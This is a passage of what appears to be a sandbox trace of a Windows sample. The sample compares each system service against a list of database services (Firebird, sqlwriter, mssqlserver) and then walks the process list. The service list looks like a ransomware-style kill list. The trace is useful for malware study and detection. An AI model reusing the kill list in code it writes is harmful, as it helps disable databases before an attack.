lpString2="Power") returned -1 [0124.789] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0124.789] lstrlenW (lpString="ProfSvc") returned 7 [0124.789] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0124.789] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0124.789] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0124.789] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0124.789] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0124.789] lstrlenW (lpString="RpcEptMapper") returned 12 [0124.789] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0124.789] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0124.789] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0124.789] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0124.789] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0124.789] lstrlenW (lpString="RpcSs") returned 5 [0124.789] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0124.789] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0124.789] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0124.789] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0124.789] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0124.789] lstrlenW (lpString="SamSs") returned 5 [0124.789] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0124.789] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0124.789] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0124.789] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0124.789] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0124.789] lstrlenW (lpString="Schedule") returned 8 [0124.789] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0124.789] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0124.789] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0124.791] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0124.791] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0124.791] lstrlenW (lpString="SENS") returned 4 [0124.791] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0124.791] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0124.791] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0124.791] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0124.791] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0124.791] lstrlenW (lpString="ShellHWDetection") returned 16 [0124.791] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0124.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0124.792] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0124.792] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0124.792] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0124.792] lstrlenW (lpString="Spooler") returned 7 [0124.792] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0124.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0124.792] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0124.792] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0124.792] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0124.792] lstrlenW (lpString="sppsvc") returned 6 [0124.792] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0124.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0124.792] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0124.792] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0124.792] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0124.792] lstrlenW (lpString="swprv") returned 5 [0124.792] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0124.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0124.792] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0124.792] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0124.792] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0124.792] lstrlenW (lpString="SysMain") returned 7 [0124.792] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0124.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0124.792] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0124.792] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0124.792] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0124.792] lstrlenW (lpString="Themes") returned 6 [0124.792] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0124.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0124.792] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0124.792] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0124.793] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0124.793] lstrlenW (lpString="TrkWks") returned 6 [0124.793] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0124.793] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0124.793] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0124.793] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0124.793] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0124.793] lstrlenW (lpString="UxSms") returned 5 [0124.793] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0124.793] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0124.793] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0124.793] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0124.793] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0124.793] lstrlenW (lpString="VSS") returned 3 [0124.793] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0124.793] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0124.793] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0124.793] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0124.793] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0124.793] lstrlenW (lpString="W32Time") returned 7 [0124.793] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="W32Time") returned -1 [0124.793] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="W32Time") returned -1 [0124.793] lstrcmpiW (lpString1="sqlwriter", lpString2="W32Time") returned -1 [0124.793] lstrcmpiW (lpString1="mssqlserver", lpString2="W32Time") returned -1 [0124.793] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="W32Time") returned -1 [0124.793] lstrlenW (lpString="WdiServiceHost") returned 14 [0124.793] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0124.793] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0124.793] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0124.793] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0124.793] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0124.793] lstrlenW (lpString="WdiSystemHost") returned 13 [0124.793] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0124.793] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0124.794] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0124.794] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0124.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0124.794] lstrlenW (lpString="WinDefend") returned 9 [0124.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0124.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0124.794] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0124.794] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0124.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0124.794] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0124.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0124.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0124.794] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0124.794] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0124.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0124.794] lstrlenW (lpString="Winmgmt") returned 7 [0124.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0124.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0124.794] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0124.794] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0124.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0124.794] lstrlenW (lpString="wscsvc") returned 6 [0124.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0124.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0124.794] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0124.794] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0124.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0124.794] lstrlenW (lpString="wuauserv") returned 8 [0124.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0124.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0124.794] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0124.794] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0124.795] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x204 [0124.797] Process32FirstW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0124.798] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0124.799] lstrlenW (lpString="System") returned 6 [0124.799] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0124.800] lstrlenW (lpString="smss.exe") returned 8 [0124.800] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0124.800] lstrlenW (lpString="csrss.exe") returned 9 [0124.800] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0124.801] lstrlenW (lpString="wininit.exe") returned 11 [0124.801] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0124.802] lstrlenW (lpString="csrss.exe") returned 9 [0124.802] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0124.803] lstrlenW (lpString="winlogon.exe") returned 12 [0124.803] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0124.804] lstrlenW (lpString="services.exe") returned 12 [0124.804] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0124.805] lstrlenW (lpString="lsass.exe") returned 9 [0124.805] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0124.806] lstrlenW (lpString="lsm.exe") returned 7 [0124.806] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.807] lstrlenW (lpString="svchost.exe") returned 11 [0124.807] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.807] lstrlenW (lpString="svchost.exe") returned 11 [0124.807] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.808] lstrlenW (lpString="svchost.exe") returned 11 [0124.808] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.809] lstrlenW (lpString="svchost.exe") returned 11 [0124.809] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.810] lstrlenW (lpString="svchost.exe") returned 11 [0124.810] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0124.811] lstrlenW (lpString="audiodg.exe") returned 11 [0124.811] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.814] lstrlenW (lpString="svchost.exe") returned 11 [0124.814] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.820] lstrlenW (lpString="svchost.exe") returned 11 [0124.821] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0124.825] lstrlenW (lpString="dwm.exe") returned 7 [0124.825] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0124.825] lstrlenW (lpString="explorer.exe") returned 12 [0124.826] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0124.826] lstrlenW (lpString="spoolsv.exe") returned 11 [0124.826] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0124.827] lstrlenW (lpString="taskhost.exe") returned 12 [0124.827] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.828] lstrlenW (lpString="svchost.exe") returned 11 [0124.828] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0124.829] lstrlenW (lpString="taskeng.exe") returned 11 [0124.829] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0125.339] lstrlenW (lpString="taskhost.exe") returned 12 [0125.339] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="fixwaves.exe")) returned 1 [0125.352] lstrlenW (lpString="fixwaves.exe") returned 12 [0125.352] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="class-file-contributors.exe")) returned 1 [0125.353] lstrlenW (lpString="class-file-contributors.exe") returned 27 [0125.353] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="soma-ending-office.exe")) returned 1 [0125.354] lstrlenW (lpString="soma-ending-office.exe") returned 22 [0125.354] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x790, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="monsaver.exe")) returned 1 [0125.355] lstrlenW (lpString="monsaver.exe") returned 12 [0125.355] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="dosesugar.exe")) returned 1 [0125.356] lstrlenW (lpString="dosesugar.exe") returned 13 [0125.356] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="plants-funded-stockings.exe")) returned 1 [0125.357] lstrlenW (lpString="plants-funded-stockings.exe") returned 27 [0125.357] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x478, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="forgotchangelog.exe")) returned 1 [0125.357] lstrlenW (lpString="forgotchangelog.exe") returned 19 [0125.358] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="nonprofit top.exe")) returned 1 [0125.358] lstrlenW (lpString="nonprofit top.exe") returned 17 [0125.358] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="investigations_sciences.exe")) returned 1 [0125.359] lstrlenW (lpString="investigations_sciences.exe") returned 27 [0125.359] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x118, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="accused.exe")) returned 1 [0125.360] lstrlenW (lpString="accused.exe") returned 11 [0125.360] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="governance.exe")) returned 1 [0125.361] lstrlenW (lpString="governance.exe") returned 14 [0125.361] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="old.exe")) returned 1 [0125.362] lstrlenW (lpString="old.exe") returned 7 [0125.362] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="xi cg.exe")) returned 1 [0125.363] lstrlenW (lpString="xi cg.exe") returned 9 [0125.363] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="greatly-medicines-poll.exe")) returned 1 [0125.364] lstrlenW (lpString="greatly-medicines-poll.exe") returned 26 [0125.364] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="burlington.exe")) returned 1 [0125.365] lstrlenW (lpString="burlington.exe") returned 14 [0125.365] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="carried-announcement-endorsed.exe")) returned 1 [0125.365] lstrlenW (lpString="carried-announcement-endorsed.exe") returned 33 [0125.365] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="buildings.exe")) returned 1 [0125.366] lstrlenW (lpString="buildings.exe") returned 13 [0125.366] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="predictions_took.exe")) returned 1 